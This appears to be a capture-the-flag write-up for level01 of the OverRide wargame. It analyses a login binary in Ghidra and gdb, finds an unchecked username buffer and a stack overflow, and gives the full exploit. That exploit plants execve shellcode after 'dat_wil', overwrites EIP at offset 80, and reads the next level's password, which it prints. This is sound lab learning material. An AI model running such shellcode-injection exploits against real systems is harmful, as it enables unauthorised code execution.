Repository navigation
LEVEL 1
The binary prints a header and prompts for a username for continuing. After the username is entered, the program terminates if the username validation fails.
level01@OverRide:~$ ./level01
********* ADMIN LOGIN PROMPT *********
Enter Username: level02
verifying username....
nope, incorrect username...
level01@OverRide:~$If the username passes the validation, the input of a password is prompted. A wrong password terminates the execution.
level01@OverRide:~$ ./level01
********* ADMIN LOGIN PROMPT *********
Enter Username: dat_wil
verifying username....
Enter Password:
1234
nope, incorrect password...
level01@OverRide:~$After decompiling the binary with Ghidra three relevant functions were identified: main, verify_user_name and verify_user_pass. The main obtains the two user inputs (username and password) and passes them to the other functions. The password is only prompted for when the username passed the verification.
main
undefined4 main(void)
{
undefined4 uVar1;
int iVar2;
char *pcVar3;
char local_54 [64];
int local_14;
pcVar3 = local_54;
for (iVar2 = 0x10; iVar2 != 0; iVar2 = iVar2 + -1) {
pcVar3[0] = '\0';
pcVar3[1] = '\0';
pcVar3[2] = '\0';
pcVar3[3] = '\0';
pcVar3 = pcVar3 + 4;
}
local_14 = 0;
puts("********* ADMIN LOGIN PROMPT *********");
printf("Enter Username: ");
fgets(&a_user_name,0x100,stdin);
local_14 = verify_user_name();
if (local_14 == 0) {
puts("Enter Password: ");
fgets(local_54,100,stdin);
local_14 = verify_user_pass(local_54);
if ((local_14 == 0) || (local_14 != 0)) {
puts("nope, incorrect password...\n");
uVar1 = 1;
}
else {
uVar1 = 0;
}
}
else {
puts("nope, incorrect username...\n");
uVar1 = 1;
}
return uVar1;
}The subsequent condition after the password verification in main is tautological, so the password verification result never leads to the success branch as shown.
verify_user_name
int verify_user_name(void)
{
int iVar1;
byte *pbVar2;
byte *pbVar3;
undefined1 uVar4;
undefined1 uVar5;
byte bVar6;
bVar6 = 0;
uVar4 = &stack0xfffffff4 < (undefined1 *)0x10;
uVar5 = &stack0x00000000 == (undefined1 *)0x1c;
puts("verifying username....\n");
iVar1 = 7;
pbVar2 = &a_user_name;
pbVar3 = (byte *)"dat_wil";
do {
if (iVar1 == 0) break;
iVar1 = iVar1 + -1;
uVar4 = *pbVar2 < *pbVar3;
uVar5 = *pbVar2 == *pbVar3;
pbVar2 = pbVar2 + (uint)bVar6 * -2 + 1;
pbVar3 = pbVar3 + (uint)bVar6 * -2 + 1;
} while ((bool)uVar5);
return (int)(char)((!(bool)uVar4 && !(bool)uVar5) - uVar4);
}The important observations are:
- The expected username is
dat_wil - Only seven characters are compared
- No username length check is apparent in the shown code
- Additional characters after the first seven do not affect the comparison result
vverify_user_pass
int verify_user_pass(byte *param_1)
{
int iVar1;
byte *pbVar2;
undefined1 in_CF;
undefined1 in_ZF;
iVar1 = 5;
pbVar2 = (byte *)"admin";
do {
if (iVar1 == 0) break;
iVar1 = iVar1 + -1;
in_CF = *param_1 < *pbVar2;
in_ZF = *param_1 == *pbVar2;
param_1 = param_1 + 1;
pbVar2 = pbVar2 + 1;
} while ((bool)in_ZF);
return (int)(char)((!(bool)in_CF && !(bool)in_ZF) - in_CF);
}Although verify_user_pass() compares the password against admin, the return value has no practical effect on the program's control flow. The condition (local_14 == 0) || (local_14 != 0) is always true, so the "nope, incorrect password..." branch is always executed.
Further useful information can be obtained for the used variables.
The variable a_user_name that we've identified in the decompiled code is a global variable and we can obtain it's address and size:
$ objdump -t ./level01 | grep a_user_name
0804a040 g O .bss 00000064 a_user_nameThe variable is stored at 0x0804a040 and has the size of 100 bytes (00000064 in hex).
After decompiling the code with Ghidra and a first analysis we can see, that the first user input for the username is compared against the string
dat_wilThe password check does not provide a shell or print the required .pass contents to go to the next level.
But the initial analysis reveals two potential vulnerabilities:
- Username input: The program reads user input into a global variable using fgets with a maximum size of 256 bytes. The username verification only compares the first seven characters against the expected username, dat_wil. This means additional data after the expected username does not affect the comparison. However, the size of the destination object is only 100 bytes (theoretically 99 characters of input, as the last byte is reserved for the null-terminator) so the input can cause an out-of-bounds write because the destination is only 100 bytes while fgets is instructed to accept up to 255 characters.
- Password input: The password is read into a 64-byte local stack buffer using fgets with a maximum size of 100 bytes. Since the function can write more data than the buffer can hold, this creates a stack-based buffer overflow. The overflow can corrupt adjacent stack data, including the saved frame pointer and return address.
The exploitation approach is to investigate whether the overflow allows control over the return address and whether execution can be redirected to code placed in a suitable memory region. The feasibility of executing injected shellcode depends on the binary's memory protections and the target environment.
fgets writes up to 255 bytes from the user input into the variable a_user_name and ends it with the null-terminator. Since a_user_name is only 100 bytes large, this allows an out-of-bounds write of up to 156 bytes beyond the variable.
The username verification only checks for the first 7 characters and does not contain a length check for the user input.
That makes this user input a suitable place to put the shellcode \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80 which with 23 bytes is short enough to fit into the limit of 100 bytes, even when concatenating the expected username dat_wil in front of it to pass the username verification.
From the disassembled code
8048521: c7 04 24 40 a0 04 08 movl $0x804a040,(%esp)
8048528: e8 43 fe ff ff call 8048370 <fgets@plt>we know that the address of the first user input is written into 0x804a040 aka a_user_name. As the required string to pass the validation has the length of 7 bytes, we can simply try add arbitrary characters afterwards and check the content of the respective memory in gdb.
level01@OverRide:~$ gdb -q ./level01
Reading symbols from /home/users/level01/level01...(no debugging symbols found)...done.
(gdb) break verify_user_pass
Breakpoint 1 at 0x80484a8
(gdb) run
Starting program: /home/users/level01/level01
********* ADMIN LOGIN PROMPT *********
Enter Username: dat_wilabcdefghijklmnopqrstuvwxyz
verifying username....
Enter Password:
1234
Breakpoint 1, 0x080484a8 in verify_user_pass ()
(gdb) x/32bx 0x804a040
0x804a040 <a_user_name>: 0x64 0x61 0x74 0x5f 0x77 0x69 0x6c 0x61
0x804a048 <a_user_name+8>: 0x62 0x63 0x64 0x65 0x66 0x67 0x68 0x69
0x804a050 <a_user_name+16>: 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f 0x70 0x71
0x804a058 <a_user_name+24>: 0x72 0x73 0x74 0x75 0x76 0x77 0x78 0x79Our assumption that the input is stored contiguously is confirmed by inspecting the memory in GDB and we obtain 0x804a047 by simply adding the used 7 bytes to the start of the variable address.
0x0804a040 + 7 = 0x0804a047
The second user input is stored in a variable, that only can hold 64 bytes, but the fgets takes up to 100 bytes from the user input. This gives us the possibility to overflow the memory. In gdb we can check, how we can overwrite the stored address pointers for the respective run:
level01@OverRide:~$ gdb -q ./level01
Reading symbols from /home/users/level01/level01...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/users/level01/level01
********* ADMIN LOGIN PROMPT *********
Enter Username: dat_wil
verifying username....
Enter Password:
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzz
nope, incorrect password...
Program received signal SIGSEGV, Segmentation fault.
0x75757575 in ?? ()
(gdb) i r
eax 0x1 1
ecx 0xffffffff -1
edx 0xf7fd08b8 -134412104
ebx 0x72727272 1920103026
esp 0xffffd710 0xffffd710
ebp 0x74747474 0x74747474
esi 0x0 0
edi 0x73737373 1936946035
eip 0x75757575 0x75757575
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99The register state shows that data from our input has overwritten several saved stack values. Most importantly, EIP contains 0x75757575, demonstrating control over the saved return address.
| Register | Value | Interpretation |
|---|---|---|
| EBX | 0x72727272 | Overwritten with rrrr |
| EDI | 0x73737373 | Overwritten with ssss |
| EBP | 0x74747474 | Overwritten with tttt |
| EIP | 0x75757575 | Instruction pointer overwritten with uuuu |
The instruction pointer (EIP) identifies the address of the next instruction to execute on 32-bit x86. By overwriting the saved return address, the overflow can redirect control flow when the vulnerable function returns.
The next step is to establish the exact offset to the saved return address and verify the location and accessibility of the intended destination.
aaaa 0–3
bbbb 4–7
cccc 8–11
...
ssss 72–75
tttt 76–79
uuuu 80–83
The first byte of EIP is reached after 80 bytes of input. The four bytes at offsets 80–83 overwrite EIP with 0x75757575 (uuuu). This is our necessary offset.
(python -c 'import struct, sys, time; \
target = struct.pack("<I", 0x0804a047); \
input1 = "dat_wil" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"; \
input2 = "B"*80 + target; \
sys.stdout.write(input1 + "\n"); \
sys.stdout.flush(); \
time.sleep(0.5); \
sys.stdout.write(input2 + "\n"); \
sys.stdout.flush()'; cat) | ./level01- input1 contains the string to bypass the username verification and a shellcode to spawn a shell
- input1 is sent first because the program requests the username before the password
- input2 contains the offset to override the instruction pointer eip and the address to our injected shellcode
- The delay and flush() calls help ensure that the first input is delivered before the second input is written.
- The trailing cat keeps the pipe's input open, which can be useful if the spawned shell needs to receive further commands interactively.
cat /home/users/level02/.passand is
PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv